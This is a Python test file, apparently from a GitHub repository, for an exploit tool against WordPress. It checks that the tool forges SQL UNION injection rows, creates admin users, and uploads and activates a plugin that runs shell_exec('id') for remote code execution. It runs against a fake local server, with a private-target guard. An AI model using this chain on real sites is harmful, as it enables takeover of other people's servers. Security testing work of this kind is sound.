Repository navigation
Expand file tree
/
Copy pathtest_exploit.py
More file actions
282 lines (252 loc) · 10.5 KB
/
Copy pathtest_exploit.py
File metadata and controls
282 lines (252 loc) · 10.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
import io
import json
from pathlib import Path
import shutil
import subprocess
import sys
import threading
import unittest
from unittest import mock
import urllib.parse
import zipfile
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
sys.path.insert(0, str(Path(__file__).resolve().parent))
import exploit
class FakeWordPressHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
pass
def reply(self, body=b"", status=200, content_type="text/html", cookies=()):
self.send_response(status)
self.send_header("Content-Type", content_type)
for cookie in cookies:
self.send_header("Set-Cookie", cookie)
self.end_headers()
self.wfile.write(body)
def do_GET(self):
parsed = urllib.parse.urlsplit(self.path)
if parsed.path == "/wp-login.php":
self.reply(cookies=("wordpress_test_cookie=1; Path=/",))
elif parsed.path == "/wp-admin/":
self.reply(b"dashboard")
elif parsed.path == "/wp-admin/plugin-install.php":
self.reply(
b'<form action="update.php?action=upload-plugin">'
b'<input name="_wpnonce" value="upload-nonce">'
b"</form>"
)
elif parsed.path == "/wp-admin/plugins.php":
self.reply(b"activated")
elif parsed.path == "/wp-admin/admin-ajax.php":
self.reply(b"rest-nonce", content_type="text/plain")
else:
self.reply(b"not found", status=404)
def do_POST(self):
parsed = urllib.parse.urlsplit(self.path)
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
if parsed.path == "/wp-login.php":
self.reply(
b"logged in",
cookies=("wordpress_logged_in_fake=1; Path=/",),
)
elif parsed.path == "/wp-admin/update.php":
if b'name="pluginzip"' not in body or b"upload-nonce" not in body:
self.reply(b"bad upload", status=400)
return
self.reply(
b'<a href="plugins.php?action=activate&plugin=proof.php&'
b'_wpnonce=activate-nonce">Activate Plugin</a>'
)
elif parsed.path == "/":
route = urllib.parse.parse_qs(parsed.query).get("rest_route", [""])[0]
proof_id = route.split("/wp2shell-proof-", 1)[1].split("/", 1)[0]
self.reply(
json.dumps(
{
"ok": True,
"proof_id": proof_id,
"command": "id",
"method": "shell_exec",
"output": "uid=33(www-data)",
"php_uname": "Linux test",
}
).encode(),
content_type="application/json",
)
else:
self.reply(b"not found", status=404)
class ExploitTests(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.server = ThreadingHTTPServer(("127.0.0.1", 0), FakeWordPressHandler)
cls.server_thread = threading.Thread(target=cls.server.serve_forever, daemon=True)
cls.server_thread.start()
cls.base = f"http://127.0.0.1:{cls.server.server_port}"
@classmethod
def tearDownClass(cls):
cls.server.shutdown()
cls.server.server_close()
cls.server_thread.join()
def test_build_columns(self):
columns = exploit.build_columns(content_sql="0x41").split(",")
self.assertEqual(len(columns), 23)
self.assertEqual(columns[4], "0x41")
self.assertIn("CAST((SELECT 1)AS CHAR)", exploit.build_columns(expr="SELECT 1"))
forged = exploit.build_post_columns(
{
"ID": "7",
"post_status": exploit.sql_hex("future"),
"post_type": exploit.sql_hex("customize_changeset"),
"post_parent": "8",
}
).split(",")
self.assertEqual(len(forged), 23)
self.assertEqual(forged[0], "7")
self.assertEqual(forged[7], exploit.sql_hex("future"))
self.assertEqual(forged[17], "8")
self.assertEqual(forged[20], exploit.sql_hex("customize_changeset"))
def test_stock_gadget_rows_and_balanced_union(self):
rows = exploit.build_stock_gadget_rows(
[10, 11, 12, 13, 14, 15],
"http://127.0.0.1/post/?wp2cache=A",
1,
)
self.assertEqual(len(rows), 7)
self.assertTrue(all(len(row.split(",")) == 23 for row in rows))
injection = exploit.balanced_union_rows(rows, "wp_posts")
self.assertNotIn("--", injection)
self.assertIn("FROM wp_posts WHERE ID=(SELECT MIN(ID)", injection)
self.assertTrue(injection.endswith("AND (1=1"))
def test_stock_oembed_cache_key(self):
key = exploit.oembed_cache_key("http://example.test/post", 500)
self.assertRegex(key, r"^[0-9a-f]{32}$")
self.assertNotEqual(key, exploit.oembed_cache_key("http://example.test/post", 501))
def test_proof_plugin_is_fixed_and_one_shot(self):
slug, archive_data = exploit.build_rce_proof_plugin("abcdef", [4, 5])
with zipfile.ZipFile(io.BytesIO(archive_data)) as archive:
names = archive.namelist()
self.assertEqual(names, [f"{slug}/{slug}.php"])
source = archive.read(names[0]).decode()
self.assertIn("shell_exec('id 2>&1')", source)
self.assertNotIn("$_GET", source)
self.assertNotIn("$_POST", source)
self.assertIn("deactivate_plugins", source)
self.assertIn("@unlink($plugin_file)", source)
self.assertIn("array(4,5)", source)
self.assertIn("wp_delete_post", source)
@unittest.skipUnless(shutil.which("php"), "PHP CLI is not installed")
def test_generated_php_is_syntactically_valid(self):
_, plugin = exploit.build_rce_proof_plugin_source("abcdef", [4, 5])
sources = (plugin,)
for source in sources:
result = subprocess.run(
["php", "-l"],
input=source,
text=True,
capture_output=True,
check=False,
)
self.assertEqual(result.returncode, 0, result.stdout + result.stderr)
def test_private_target_guard(self):
exploit.require_private_target("http://127.0.0.1:8080")
exploit.require_private_target("http://10.0.0.9")
with self.assertRaises(ValueError):
exploit.require_private_target("https://8.8.8.8")
def test_cli_modes_and_generated_credentials(self):
check = exploit.parse_args(["http://127.0.0.1:8080", "--check"])
self.assertTrue(check.check)
add_user = exploit.parse_args(
[
"http://127.0.0.1:8080",
"--add-user",
"--username",
"cli-admin",
"--password",
"cli-password",
]
)
self.assertTrue(add_user.add_user)
self.assertFalse(add_user.exec_proof)
self.assertRegex(add_user.email, r"^wp2shell-[0-9a-f]{12}@example\.invalid$")
legacy = exploit.parse_args(
[
"http://127.0.0.1:8080",
"--rce-proof",
"--username",
"legacy-admin",
"--password",
"legacy-password",
]
)
self.assertTrue(legacy.exec_proof)
complete = exploit.parse_args(
["http://127.0.0.1:8080", "--complete-chain"]
)
self.assertTrue(complete.complete_chain)
self.assertTrue(complete.username.startswith("wp2s_"))
self.assertGreaterEqual(len(complete.password), 18)
self.assertEqual(
set(complete.generated_credentials), {"username", "password", "email"}
)
custom = exploit.parse_args(
[
"http://127.0.0.1:8080",
"--exec",
"--username",
"custom-admin",
"--password",
"custom-password",
"--plugin-file",
"custom.zip",
]
)
self.assertEqual(custom.plugin_file, "custom.zip")
def test_validate_and_upload_custom_plugin_archive(self):
archive_buffer = io.BytesIO()
with zipfile.ZipFile(archive_buffer, "w") as archive:
archive.writestr(
"custom-marker/custom-marker.php",
"<?php /* Plugin Name: Custom Marker */",
)
names = exploit.validate_plugin_archive(archive_buffer.getvalue())
self.assertEqual(names, ["custom-marker/custom-marker.php"])
opener = exploit.wordpress_login(self.base, "audit-admin", "password")
result = exploit.upload_and_activate_plugin(
self.base,
opener,
"custom-marker.zip",
archive_buffer.getvalue(),
)
self.assertEqual(result["filename"], "custom-marker.zip")
self.assertEqual(result["archive_entries"], 1)
unsafe = io.BytesIO()
with zipfile.ZipFile(unsafe, "w") as archive:
archive.writestr("../escape.php", "<?php")
with self.assertRaises(ValueError):
exploit.validate_plugin_archive(unsafe.getvalue())
def test_non_persistent_check_exit_states(self):
output = io.StringIO()
with mock.patch.object(exploit.secrets, "token_hex", return_value="abcdef"):
with mock.patch.object(
exploit, "run", return_value="wp2shell-check-abcdef"
):
with mock.patch("sys.stdout", output):
self.assertEqual(
exploit.main(["http://127.0.0.1:8080", "--check"]), 0
)
self.assertIn("VULNERABLE", output.getvalue())
output = io.StringIO()
with mock.patch.object(exploit, "run", return_value=None):
with mock.patch("sys.stdout", output):
self.assertEqual(
exploit.main(["http://127.0.0.1:8080", "--check"]), 1
)
self.assertIn("NOT VULNERABLE", output.getvalue())
def test_login_upload_activate_and_run_proof(self):
opener = exploit.wordpress_login(self.base, "audit-admin", "password")
result = exploit.upload_and_run_rce_proof(self.base, opener)
self.assertTrue(result["ok"])
self.assertEqual(result["command"], "id")
self.assertEqual(result["output"], "uid=33(www-data)")
if __name__ == "__main__":
unittest.main()